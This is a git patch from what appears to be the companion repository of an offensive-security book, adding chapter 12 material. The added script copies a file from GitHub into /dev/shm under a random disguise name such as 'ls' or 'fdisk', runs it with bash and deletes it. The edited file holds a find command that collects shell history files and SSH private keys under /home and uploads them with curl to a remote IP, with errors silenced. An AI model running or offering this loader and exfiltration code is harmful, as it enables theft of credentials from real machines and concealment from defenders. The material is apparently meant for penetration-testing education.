From dfad81f453ba5abc5c31ed86140dfb275c0727f0 Mon Sep 17 00:00:00 2001 From: Dolev Farhi Date: Fri, 1 Dec 2023 12:09:08 -0500 Subject: [PATCH] dev null --- ch12/binary_name_rotation.sh | 11 +++++++++++ ch12/raw_code.txt | 2 +- 2 files changed, 12 insertions(+), 1 deletion(-) create mode 100644 ch12/binary_name_rotation.sh diff --git a/ch12/binary_name_rotation.sh b/ch12/binary_name_rotation.sh new file mode 100644 index 0000000..5934684 --- /dev/null +++ b/ch12/binary_name_rotation.sh @@ -0,0 +1,11 @@ +#!/bin/bash +RANDOM_BIN_NAMES=("ls" "touch" "mkdir" "fdisk" "zip" "pslog" "tree" "gunzip") +RANDOMIZE=$(( (RANDOM % 7) + 0)) +BIN_NAME="/dev/shm/${RANDOM_BIN_NAMES[${RANDOMIZE}]}" + +if command -v curl; then + curl -s "https://raw.githubusercontent.com/dolevf/Black-Hat-Bash/master/ch12/raw_code.txt" -o "${BIN_NAME}" + bash "${BIN_NAME}" + rm "${BIN_NAME}" +fi + diff --git a/ch12/raw_code.txt b/ch12/raw_code.txt index 4d0009d..4212ffd 100644 --- a/ch12/raw_code.txt +++ b/ch12/raw_code.txt @@ -4,4 +4,4 @@ find /home/ \ -name ".*_history" \ -name "id_rsa" \ -name "id_dsa" \ - -exec curl -F "filedata=@{}" "http://172.16.10.1" \; \ No newline at end of file + -exec curl -F "filedata=@{}" "http://172.16.10.1" \; 2> /dev/null \ No newline at end of file